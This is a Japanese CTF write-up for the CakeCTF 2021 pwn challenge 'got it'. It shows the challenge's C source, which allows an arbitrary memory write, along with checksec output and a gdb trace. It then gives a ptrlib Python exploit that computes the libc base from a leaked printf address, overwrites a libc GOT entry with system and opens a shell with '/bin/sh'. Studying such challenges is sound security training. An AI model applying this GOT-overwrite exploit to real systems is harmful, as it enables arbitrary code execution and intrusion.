cakectf 2021 got it chall 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <stdio.h> #include <unistd.h> void main () { char arg[10 ] = {0 }; unsigned long address = 0 , value = 0 ; setvbuf(stdin , NULL , _IONBF, 0 ); setvbuf(stdout , NULL , _IONBF, 0 ); printf ("<main> = %p\n" , main); printf ("<printf> = %p\n" , printf ); printf ("address: " ); scanf ("%p" , (void **)&address); printf ("value: " ); scanf ("%p" , (void **)&value); printf ("data: " ); scanf ("%9s" , (char *)&arg); *(unsigned long *)address = value; puts (arg); _exit(0 ); }
sol 読み込みで、任意のアドレスを書き換えることができるので、putsに対してgot overwriteすればよさそう…?
1 2 3 4 5 6 7 ❯ checksec --file=chall [*] '/home/kanon/CTFs/CTF/pwn/got_it/distfiles/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
ただ、RELROが Full RELROなので難しそうとなる。なので、putsの中を見ていく…
幾つかのcall関数があり、si
で更に奥地を覗いていくと
1 2 3 4 5 6 7 8 9 0x55a7d84dd2fe <main+325 > call puts @plt↓ 0x55a7d84dd0a4 <puts @plt+4 > jmp qword ptr [rip + 0x2f0e ] <puts >↓ 0x7f6dbacd4be8 <puts +24 > call *ABS*+0xb4cb0 @plt <*ABS*+0xb4cb0 @plt>↓ 0x7f6dbac75504 <*ABS*+0xb4cb0 @plt+4 > jmp qword ptr [rip + 0x1da70e ] <__strlen_avx2>↓ 0x7fe2baff1c49 <puts +121 > call qword ptr [r15 + 0x38 ] <_IO_file_xsputn>
より、__strlen_avx2
or _IO_file_xsputn
が書き換えられそう…?と思って配布されたlibcを見るとPartial RELRO
でしたので、libcでのgot overwriteできそう..?
ただ、うまく動きません…
理由 現在、linuxで配布されているlibcはFull RELRO
なので、すべてのgotに上書きができなくなっています…(これはdockerにあるlibcも同様です)
ということはlibcを問題出された当初のものに付け替えてやれば解けそうですね
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from ptrlib import *io = remote("nc localhost 9003" ) main = eval (io.recvlineafter(b"= " )) printf = eval (io.recvlineafter(b"= " )) elf = ELF("./libc-2.31.so" ) base_puts = elf.symbol("puts" ) base_printf = elf.symbol("printf" ) base_syetem = elf.symbol("system" ) elf.base = printf - base_printf diff = 0x202c12 + elf.base io.sendline(p64(diff)) io.sendline(p64(elf.symbol("system" ))) io.sendline("/bin/sh" ) io.sh()